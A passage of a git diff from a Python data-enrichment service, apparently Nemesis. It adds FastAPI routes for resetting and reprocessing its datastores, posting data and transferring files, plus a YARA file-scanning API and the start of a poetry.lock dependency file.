+ return Response()
+
+ @post("/reset")
+ async def reset(self):
+ """When called, purges Postgres, Elastic, and RabbitMQ."""
+ await logger.ainfo("Clearing datastore!")
+
+ # first purge all RabbitMQ queue messages
+ await logger.ainfo("Purging RabbitMQ Queues.")
+ await purge_rabbit_mq_queues(self.rabbitmq_connection_uri)
+
+ # next clear the postgres database
+ await logger.ainfo("Clearing the PostgreSQL database.")
+ await self.db.clear_database()
+
+ # then clear elasticsearch
+ await logger.ainfo("Clearing Elasticsearch indexes")
+ for ES_INDEX in ALL_ES_INDICIES:
+ if await self.es_client.indices.exists(index=ES_INDEX):
+ await logger.ainfo("Clearing Elastic index", index=ES_INDEX)
+ await self.es_client.indices.delete(index=ES_INDEX)
+
+ @post("/reprocess")
+ async def reprocess(self):
+ """When called, triggers the reprocessing of all existing data messages."""
+
+ producers = self.producers
+
+ async def reprocess_post_data(message_bytes) -> None:
+ """
+ Reprocesses raw /data POST message bytes.
+ We don't have all the error handling of post_data since only
+ successful messages are saved off.
+ """
+ nonlocal producers
+ global logger
+
+ body_string = message_bytes.decode("utf-8")
+ json_data = json.loads(body_string)
+ data_type = json_data["metadata"]["data_type"]
+ obj = Parse(message_bytes, MAP[data_type]())
+ if obj.metadata.data_type in producers:
+ producer = producers[obj.metadata.data_type]
+ await producer.Send(obj.SerializeToString())
+
+ def exception_handler(e, args):
+ logger.exception("Error reprocessing message bytes", args=args)
+
+ # await self.alerter.alert("*Clearing datastore and triggering data reprocessing!*")
+ await logger.ainfo("Clearing datastore and triggering data reprocessing!")
+
+ # first purge all RabbitMQ queue messages
+ await logger.ainfo("Purging RabbitMQ Queues.")
+ await purge_rabbit_mq_queues(self.rabbitmq_connection_uri)
+
+ # next clear the postgres database
+ await logger.ainfo("Clearing the PostgreSQL database.")
+ await self.db.clear_database()
+
+ # then clear elasticsearch
+ await logger.ainfo("Clearing Elasticsearch indexes")
+ for ES_INDEX in ALL_ES_INDICIES:
+ if await self.es_client.indices.exists(index=ES_INDEX):
+ await logger.ainfo("Clearing Elastic index", index=ES_INDEX)
+ await self.es_client.indices.delete(index=ES_INDEX)
+
+ # finally pull all existed messages and submit each for reprocessing
+ # old : async for message_bytes in self.db.get_api_data_messages():
+ # await self.reprocess_post_data(message_bytes)
+
+ total_file_count = 0
+ wrapped_reprocess_post_data = return_args_and_exceptions(reprocess_post_data, exception_handler)
+ await logger.ainfo("Resubmitting all existing messages for processing")
+
+ try:
+ async for result in map_unordered(
+ wrapped_reprocess_post_data, self.db.get_api_data_messages(), limit=self.reprocessing_workers
+ ):
+ total_file_count += 1
+ except Exception as e:
+ await logger.awarn("Error reprocessing message", e=e)
+
+ await logger.ainfo(f"Completed reprocessing {total_file_count} files /data POST messages")
+ return Response()
+
+ @aio.time(Summary("get_file", "GET file")) # type: ignore
+ @get("/data")
+ async def get_file(self, storage_id: str) -> Response:
+ file_uuid_str = base64.b64decode(storage_id).decode("utf-8")
+ file_uuid = uuid.UUID(file_uuid_str)
+
+ with await self.storage.download(file_uuid) as file:
+ return FileResponse(file.name)
+
+ @aio.time(Summary("data_post", "Data POST")) # type: ignore
+ @post("/data")
+ async def post_data(self, request: Request) -> Dict[str, str] | Response:
+ # first parse the message as a JSON object so we can extract out the message data_type
+ try:
+ body_bytes = await request.body()
+ body_string = body_bytes.decode("utf-8")
+ json_data = json.loads(body_string)
+ except:
+ return Response(status_code=400, content="Invalid message")
+
+ if "metadata" not in json_data or "data_type" not in json_data["metadata"]:
+ return Response(status_code=400, content="Invalid metadata")
+
+ data_type = json_data["metadata"]["data_type"]
+ if data_type not in MAP:
+ return Response(status_code=400, content="Invalid metadata data_type")
+
+ try:
+ obj = Parse(body_bytes, MAP[data_type]())
+ except:
+ return Response(status_code=400, content=f"Invalid {data_type} message")
+
+ await logger.ainfo("Received data message", data_type=obj.metadata.data_type)
+
+ # make sure we filter out registry values we're not currently supporting
+ if data_type == "registry_value":
+ i = 0
+ while i < len(obj.data):
+ # check if we want this registry value to be emitted to the pipeline
+ tags = await include_registry_value(
+ key=obj.data[i].key, value_name=obj.data[i].value_name, value_kind=obj.data[0].value_kind, value=obj.data[0].value
+ )
+ if tags:
+ obj.data[i].tags = tags
+ i += 1
+ else:
+ del obj.data[i]
+
+ id_ = str(uuid.uuid4())
+ obj.metadata.message_id = id_
+
+ # save off the raw POST message for possible replay later
+ await self.db.add_api_data_message(id_, body_bytes)
+
+ if obj.metadata.data_type in self.producers:
+ producer = self.producers[obj.metadata.data_type]
+ await producer.Send(obj.SerializeToString())
+
+ return {"object_id": id_}
+
+ @aio.time(Summary("post_file", "POST file")) # type: ignore
+ @post("/file")
+ async def get_data(self, request: Request) -> Dict[str, str]:
+ await logger.ainfo("Received file upload request")
+ with tempfile.NamedTemporaryFile() as tmpfile:
+ # TODO: Write to disk and then create a queue that uploads the file in
+ # the background so we don't have to wait for the upload to finish before sending a response.
+ # Right now, large uploads could take quite a while to upload and API clients could timeout
+ # before recieving a response, despite the upload completing successfully
+ with open(tmpfile.name, "wb") as f:
+ f.write(await request.body())
+
+ file_uuid = await self.storage.upload(f.name)
+ return {"object_id": str(file_uuid)}
+
+ @aio.time(Summary("download", "Download file")) # type: ignore
+ @get("/download/{id}")
+ async def download(self, id: uuid.UUID, name: Optional[str] = None, action: Optional[DownloadAction] = None) -> Response:
+ content_type = "application/octet-stream"
+ content_disposition: Optional[str] = None
+
+ if name:
+ filename = urllib.parse.quote(name)
+ filetype = name.split(".")[-1].lower() if name else None
+ else:
+ filename = str(id)
+ filetype = None
+
+ if action is None or action == DownloadAction.DOWNLOAD:
+ content_disposition = f'attachment; filename="{filename}"'
+ else:
+ content_disposition = f'inline; filename="{filename}"'
+
+ match filetype:
+ case DownloadFileTypes.BMP:
+ content_type = "image/bmp"
+ case DownloadFileTypes.ICO:
+ content_type = "image/vnd.microsoft.icon"
+ case DownloadFileTypes.JPEG:
+ content_type = "image/jpeg"
+ case DownloadFileTypes.JPG:
+ content_type = "image/jpeg"
+ case DownloadFileTypes.PDF:
+ content_type = "application/pdf"
+ case DownloadFileTypes.PNG:
+ content_type = "image/png"
+ case DownloadFileTypes.SVG:
+ content_type = "image/svg+xml"
+ case DownloadFileTypes.TXT:
+ content_type = "text/plain"
+ case _:
+ content_type = "text/plain"
+
+ headers = {
+ "X-Content-Type-Options": "nosniff",
+ }
+
+ if content_disposition:
+ headers["Content-Disposition"] = content_disposition
+
+ try:
+ await logger.ainfo("Received file download request", file_id=id)
+ # download and signal we don't want to delete the file
+ with await self.storage.download(id, False) as file:
+ # set a background task to delete the file after serving
+ # ref - https://github.com/tiangolo/fastapi/issues/2152#issuecomment-889282903
+ return FileResponse(file.name, background=BackgroundTask(os.remove, file.name), media_type=content_type, headers=headers)
+ except Exception as e:
+ logger.aexception(e, message="Failed to download file", file_uuid=id)
+ return Response(status_code=404, content="File not found")
diff --git a/cmd/enrichment/enrichment/tasks/webapi/yara_api.py b/cmd/enrichment/enrichment/tasks/webapi/yara_api.py
new file mode 100644
index 0000000..2fb5a14
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/webapi/yara_api.py
@@ -0,0 +1,125 @@
+# Standard Libraries
+import glob
+import os
+import uuid
+
+# 3rd Party Libraries
+import structlog
+import uvicorn
+import yara
+from fastapi import FastAPI, File, UploadFile
+from fastapi.responses import Response
+from fastapi_class.decorators import get, post
+from fastapi_class.routable import Routable
+from nemesiscommon.nemesis_tempfile import TempFile
+from nemesiscommon.storage import StorageInterface
+from nemesiscommon.tasking import TaskInterface
+from prometheus_async import aio
+from prometheus_client import Summary
+
+logger = structlog.get_logger(module=__name__)
+
+
+class YaraApi(TaskInterface):
+ storage: StorageInterface
+ api_port: int
+ data_download_dir: str
+ log_level: str
+
+ def __init__(self, storage: StorageInterface, api_port: int, data_download_dir: str, log_level: str) -> None:
+ self.storage = storage
+ self.api_port = api_port
+ self.data_download_dir = data_download_dir
+ self.log_level = log_level
+
+ async def run(self) -> None:
+ app = FastAPI()
+ routes = YaraApiRoutes(self.storage, self.data_download_dir)
+ app.include_router(routes.router)
+ server_config = uvicorn.Config(
+ app,
+ host="0.0.0.0",
+ port=self.api_port,
+ log_level=self.log_level.lower(),
+ )
+ server = uvicorn.Server(server_config)
+ logger.info("Starting YaraAPI", port=self.api_port)
+ await server.serve()
+
+
+class YaraApiRoutes(Routable):
+ storage: StorageInterface
+ data_download_dir: str
+
+ def __init__(self, storage: StorageInterface, data_download_dir: str) -> None:
+ super().__init__()
+ self.storage = storage
+ self.data_download_dir = data_download_dir
+
+ # load up the Yara rules
+ yara_file_paths = glob.glob("./enrichment/lib/public_yara/**/*.yara", recursive=True) + glob.glob("./enrichment/lib/public_yara/**/*.yar", recursive=True)
+ yara_files = {}
+
+ for yara_file_path in yara_file_paths:
+ try:
+ yara_files[yara_file_path.split("/")[-1]] = yara_file_path
+ except:
+ continue
+
+ self.yara_rules = yara.compile(filepaths=yara_files)
+ logger.info("YaraAPI initialization completed")
+
+ @get("/")
+ async def home(self):
+ return Response()
+
+ @get("/ready")
+ async def ready(self):
+ """Used for readiness probes."""
+ return Response()
+
+ @aio.time(Summary("file", "Time spent scanning raw file bytes with Yara")) # type: ignore
+ @post("/file")
+ async def yara_file(self, file: UploadFile = File(...)):
+ """Scan submitted file bytes with all current Yara rules."""
+
+ await logger.adebug("Yara /file endpoint called")
+
+ try:
+ async with TempFile(self.data_download_dir) as temp_file:
+ file_bytes = await file.read()
+
+ # write the posted file out to a temp file
+ with open(temp_file.path, "wb") as f:
+ f.write(file_bytes)
+
+ return await self.yara_opsec_scan(temp_file.path)
+ except Exception as e:
+ await logger.aexception(e, message="yara_file error")
+ return {"error": f"yara_file error: {e}"}
+
+ async def yara_opsec_scan(self, file: str | uuid.UUID):
+ """Scans the given file path or file UUID with all current yara OPSEC rules.
+
+ Any matches are returned. If the file doesn't exist, we attempt to
+ download it the Nemesis datastore.
+ """
+
+ # check if the file is a string or UUID
+
+ if isinstance(file, str):
+ if os.path.exists(file):
+ try:
+ return {"yara_matches": [f"{match}" for match in self.yara_rules.match(file)]}
+ except Exception as e:
+ await logger.aexception(e, message="yara_opsec_scan error", file_path=file)
+ return {"error": f"yara_opsec_scan error for {file} : {e}"}
+ elif isinstance(file, uuid.UUID):
+ try:
+ with await self.storage.download(file) as temp_file:
+ return {"yara_matches": [f"{match}" for match in self.yara_rules.match(temp_file.name)]}
+ except Exception as e:
+ await logger.aexception(e, message="yara_opsec_scan error", file_path=file)
+ return {"error": f"yara_opsec_scan error for {file} : {e}"}
+ else:
+ raise ValueError(f"file must be a string or UUID, but got a '{type(file)}'. Value: '{file}'")
diff --git a/cmd/enrichment/poetry.lock b/cmd/enrichment/poetry.lock
new file mode 100644
index 0000000..88eacff
--- /dev/null
+++ b/cmd/enrichment/poetry.lock
@@ -0,0 +1,4047 @@
+# This file is automatically @generated by Poetry 1.5.1 and should not be changed by hand.
+
+[[package]]
+name = "aio-pika"
+version = "8.3.0"
+description = "Wrapper for the aiormq for asyncio and humans."
+optional = false
+python-versions = ">3.6, <4"
+files = [
+ {file = "aio-pika-8.3.0.tar.gz", hash = "sha256:c0e2601eda6a1097fe1d33c5f9965a86a27b328ac48914d20c23f675b3ab1797"},
+ {file = "aio_pika-8.3.0-py3-none-any.whl", hash = "sha256:36c4742449f1cbcb83165b3733b090cf88f3d2f7f027225eedb8c7f300b05dde"},
+]
+
+[package.dependencies]
+aiormq = ">=6.6.3,<6.7.0"
+yarl = "*"
+
+[package.extras]
+develop = ["aiomisc (>=16.0,<17.0)", "coverage (!=4.3)", "coveralls", "nox", "pylava", "pytest", "pytest-cov", "shortuuid", "sphinx", "sphinx-autobuild", "timeout-decorator", "tox (>=2.4)"]
+
+[[package]]
+name = "aioboto3"
+version = "10.4.0"
+description = "Async boto3 wrapper"
+optional = false
+python-versions = ">=3.7,<4.0"
+files = [
+ {file = "aioboto3-10.4.0-py3-none-any.whl", hash = "sha256:6d0f0bf6af0168c27828e108f1a24182669a6ea6939437c27638caf06a693403"},
+ {file = "aioboto3-10.4.0.tar.gz", hash = "sha256:e52b5f96b67031ddcbabcc55015bad3f851d3d4e6d5bfc7a1d1518d90e0c1fd8"},
+]
+
+[package.dependencies]
+aiobotocore = {version = "2.4.2", extras = ["boto3"]}
+
+[package.extras]
+chalice = ["chalice (>=1.24.0)"]
+s3cse = ["cryptography (>=2.3.1)"]
+
+[[package]]
+name = "aiobotocore"
+version = "2.4.2"
+description = "Async client for aws services using botocore and aiohttp"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "aiobotocore-2.4.2-py3-none-any.whl", hash = "sha256:4acd1ebe2e44be4b100aa553910bda899f6dc090b3da2bc1cf3d5de2146ed208"},
+ {file = "aiobotocore-2.4.2.tar.gz", hash = "sha256:0603b74a582dffa7511ce7548d07dc9b10ec87bc5fb657eb0b34f9bd490958bf"},
+]
+
+[package.dependencies]
+aiohttp = ">=3.3.1"
+aioitertools = ">=0.5.1"
+boto3 = {version = ">=1.24.59,<1.24.60", optional = true, markers = "extra == \"boto3\""}
+botocore = ">=1.27.59,<1.27.60"
+wrapt = ">=1.10.10"
+
+[package.extras]
+awscli = ["awscli (>=1.25.60,<1.25.61)"]
+boto3 = ["boto3 (>=1.24.59,<1.24.60)"]
+
+[[package]]
+name = "aiofile"
+version = "3.8.7"
+description = "Asynchronous file operations."
+optional = false
+python-versions = ">=3.7, <4"
+files = [
+ {file = "aiofile-3.8.7-py3-none-any.whl", hash = "sha256:4c38991b1227e221296fa05bbc95bffba9c203fef1ce09ad3076cfe7b61842c7"},
+ {file = "aiofile-3.8.7.tar.gz", hash = "sha256:a8f9dec17282b3583337c4ef2d1a67f33072ab80dd03608041ed9e71b88dc521"},
+]
+
+[package.dependencies]
+caio = ">=0.9.0,<0.10.0"
+
+[package.extras]
+develop = ["aiomisc-pytest", "coveralls", "pytest", "pytest-cov", "pytest-rst"]
+
+[[package]]
+name = "aiohttp"
+version = "3.8.4"
+description = "Async http client/server framework (asyncio)"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "aiohttp-3.8.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:5ce45967538fb747370308d3145aa68a074bdecb4f3a300869590f725ced69c1"},
+ {file = "aiohttp-3.8.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:b744c33b6f14ca26b7544e8d8aadff6b765a80ad6164fb1a430bbadd593dfb1a"},
+ {file = "aiohttp-3.8.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:1a45865451439eb320784918617ba54b7a377e3501fb70402ab84d38c2cd891b"},
+ {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a86d42d7cba1cec432d47ab13b6637bee393a10f664c425ea7b305d1301ca1a3"},
+ {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ee3c36df21b5714d49fc4580247947aa64bcbe2939d1b77b4c8dcb8f6c9faecc"},
+ {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:176a64b24c0935869d5bbc4c96e82f89f643bcdf08ec947701b9dbb3c956b7dd"},
+ {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c844fd628851c0bc309f3c801b3a3d58ce430b2ce5b359cd918a5a76d0b20cb5"},
+ {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5393fb786a9e23e4799fec788e7e735de18052f83682ce2dfcabaf1c00c2c08e"},
+ {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:e4b09863aae0dc965c3ef36500d891a3ff495a2ea9ae9171e4519963c12ceefd"},
+ {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:adfbc22e87365a6e564c804c58fc44ff7727deea782d175c33602737b7feadb6"},
+ {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:147ae376f14b55f4f3c2b118b95be50a369b89b38a971e80a17c3fd623f280c9"},
+ {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:eafb3e874816ebe2a92f5e155f17260034c8c341dad1df25672fb710627c6949"},
+ {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c6cc15d58053c76eacac5fa9152d7d84b8d67b3fde92709195cb984cfb3475ea"},
+ {file = "aiohttp-3.8.4-cp310-cp310-win32.whl", hash = "sha256:59f029a5f6e2d679296db7bee982bb3d20c088e52a2977e3175faf31d6fb75d1"},
+ {file = "aiohttp-3.8.4-cp310-cp310-win_amd64.whl", hash = "sha256:fe7ba4a51f33ab275515f66b0a236bcde4fb5561498fe8f898d4e549b2e4509f"},
+ {file = "aiohttp-3.8.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:3d8ef1a630519a26d6760bc695842579cb09e373c5f227a21b67dc3eb16cfea4"},
+ {file = "aiohttp-3.8.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:5b3f2e06a512e94722886c0827bee9807c86a9f698fac6b3aee841fab49bbfb4"},
+ {file = "aiohttp-3.8.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3a80464982d41b1fbfe3154e440ba4904b71c1a53e9cd584098cd41efdb188ef"},
+ {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8b631e26df63e52f7cce0cce6507b7a7f1bc9b0c501fcde69742130b32e8782f"},
+ {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3f43255086fe25e36fd5ed8f2ee47477408a73ef00e804cb2b5cba4bf2ac7f5e"},
+ {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4d347a172f866cd1d93126d9b239fcbe682acb39b48ee0873c73c933dd23bd0f"},
+ {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a3fec6a4cb5551721cdd70473eb009d90935b4063acc5f40905d40ecfea23e05"},
+ {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:80a37fe8f7c1e6ce8f2d9c411676e4bc633a8462844e38f46156d07a7d401654"},
+ {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:d1e6a862b76f34395a985b3cd39a0d949ca80a70b6ebdea37d3ab39ceea6698a"},
+ {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:cd468460eefef601ece4428d3cf4562459157c0f6523db89365202c31b6daebb"},
+ {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:618c901dd3aad4ace71dfa0f5e82e88b46ef57e3239fc7027773cb6d4ed53531"},
+ {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:652b1bff4f15f6287550b4670546a2947f2a4575b6c6dff7760eafb22eacbf0b"},
+ {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:80575ba9377c5171407a06d0196b2310b679dc752d02a1fcaa2bc20b235dbf24"},
+ {file = "aiohttp-3.8.4-cp311-cp311-win32.whl", hash = "sha256:bbcf1a76cf6f6dacf2c7f4d2ebd411438c275faa1dc0c68e46eb84eebd05dd7d"},
+ {file = "aiohttp-3.8.4-cp311-cp311-win_amd64.whl", hash = "sha256:6e74dd54f7239fcffe07913ff8b964e28b712f09846e20de78676ce2a3dc0bfc"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:880e15bb6dad90549b43f796b391cfffd7af373f4646784795e20d92606b7a51"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bb96fa6b56bb536c42d6a4a87dfca570ff8e52de2d63cabebfd6fb67049c34b6"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4a6cadebe132e90cefa77e45f2d2f1a4b2ce5c6b1bfc1656c1ddafcfe4ba8131"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f352b62b45dff37b55ddd7b9c0c8672c4dd2eb9c0f9c11d395075a84e2c40f75"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7ab43061a0c81198d88f39aaf90dae9a7744620978f7ef3e3708339b8ed2ef01"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c9cb1565a7ad52e096a6988e2ee0397f72fe056dadf75d17fa6b5aebaea05622"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:1b3ea7edd2d24538959c1c1abf97c744d879d4e541d38305f9bd7d9b10c9ec41"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:7c7837fe8037e96b6dd5cfcf47263c1620a9d332a87ec06a6ca4564e56bd0f36"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:3b90467ebc3d9fa5b0f9b6489dfb2c304a1db7b9946fa92aa76a831b9d587e99"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_s390x.whl", hash = "sha256:cab9401de3ea52b4b4c6971db5fb5c999bd4260898af972bf23de1c6b5dd9d71"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:d1f9282c5f2b5e241034a009779e7b2a1aa045f667ff521e7948ea9b56e0c5ff"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-win32.whl", hash = "sha256:5e14f25765a578a0a634d5f0cd1e2c3f53964553a00347998dfdf96b8137f777"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-win_amd64.whl", hash = "sha256:4c745b109057e7e5f1848c689ee4fb3a016c8d4d92da52b312f8a509f83aa05e"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:aede4df4eeb926c8fa70de46c340a1bc2c6079e1c40ccf7b0eae1313ffd33519"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ddaae3f3d32fc2cb4c53fab020b69a05c8ab1f02e0e59665c6f7a0d3a5be54f"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c4eb3b82ca349cf6fadcdc7abcc8b3a50ab74a62e9113ab7a8ebc268aad35bb9"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9bcb89336efa095ea21b30f9e686763f2be4478f1b0a616969551982c4ee4c3b"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c08e8ed6fa3d477e501ec9db169bfac8140e830aa372d77e4a43084d8dd91ab"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c6cd05ea06daca6ad6a4ca3ba7fe7dc5b5de063ff4daec6170ec0f9979f6c332"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:b7a00a9ed8d6e725b55ef98b1b35c88013245f35f68b1b12c5cd4100dddac333"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:de04b491d0e5007ee1b63a309956eaed959a49f5bb4e84b26c8f5d49de140fa9"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:40653609b3bf50611356e6b6554e3a331f6879fa7116f3959b20e3528783e699"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:dbf3a08a06b3f433013c143ebd72c15cac33d2914b8ea4bea7ac2c23578815d6"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:854f422ac44af92bfe172d8e73229c270dc09b96535e8a548f99c84f82dde241"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-win32.whl", hash = "sha256:aeb29c84bb53a84b1a81c6c09d24cf33bb8432cc5c39979021cc0f98c1292a1a"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-win_amd64.whl", hash = "sha256:db3fc6120bce9f446d13b1b834ea5b15341ca9ff3f335e4a951a6ead31105480"},
+ {file = "aiohttp-3.8.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:fabb87dd8850ef0f7fe2b366d44b77d7e6fa2ea87861ab3844da99291e81e60f"},
+ {file = "aiohttp-3.8.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:91f6d540163f90bbaef9387e65f18f73ffd7c79f5225ac3d3f61df7b0d01ad15"},
+ {file = "aiohttp-3.8.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:d265f09a75a79a788237d7f9054f929ced2e69eb0bb79de3798c468d8a90f945"},
+ {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d89efa095ca7d442a6d0cbc755f9e08190ba40069b235c9886a8763b03785da"},
+ {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4dac314662f4e2aa5009977b652d9b8db7121b46c38f2073bfeed9f4049732cd"},
+ {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:fe11310ae1e4cd560035598c3f29d86cef39a83d244c7466f95c27ae04850f10"},
+ {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6ddb2a2026c3f6a68c3998a6c47ab6795e4127315d2e35a09997da21865757f8"},
+ {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e75b89ac3bd27d2d043b234aa7b734c38ba1b0e43f07787130a0ecac1e12228a"},
+ {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:6e601588f2b502c93c30cd5a45bfc665faaf37bbe835b7cfd461753068232074"},
+ {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:a5d794d1ae64e7753e405ba58e08fcfa73e3fad93ef9b7e31112ef3c9a0efb52"},
+ {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:a1f4689c9a1462f3df0a1f7e797791cd6b124ddbee2b570d34e7f38ade0e2c71"},
+ {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:3032dcb1c35bc330134a5b8a5d4f68c1a87252dfc6e1262c65a7e30e62298275"},
+ {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:8189c56eb0ddbb95bfadb8f60ea1b22fcfa659396ea36f6adcc521213cd7b44d"},
+ {file = "aiohttp-3.8.4-cp38-cp38-win32.whl", hash = "sha256:33587f26dcee66efb2fff3c177547bd0449ab7edf1b73a7f5dea1e38609a0c54"},
+ {file = "aiohttp-3.8.4-cp38-cp38-win_amd64.whl", hash = "sha256:e595432ac259af2d4630008bf638873d69346372d38255774c0e286951e8b79f"},
+ {file = "aiohttp-3.8.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:5a7bdf9e57126dc345b683c3632e8ba317c31d2a41acd5800c10640387d193ed"},
+ {file = "aiohttp-3.8.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:22f6eab15b6db242499a16de87939a342f5a950ad0abaf1532038e2ce7d31567"},
+ {file = "aiohttp-3.8.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:7235604476a76ef249bd64cb8274ed24ccf6995c4a8b51a237005ee7a57e8643"},
+ {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ea9eb976ffdd79d0e893869cfe179a8f60f152d42cb64622fca418cd9b18dc2a"},
+ {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:92c0cea74a2a81c4c76b62ea1cac163ecb20fb3ba3a75c909b9fa71b4ad493cf"},
+ {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:493f5bc2f8307286b7799c6d899d388bbaa7dfa6c4caf4f97ef7521b9cb13719"},
+ {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0a63f03189a6fa7c900226e3ef5ba4d3bd047e18f445e69adbd65af433add5a2"},
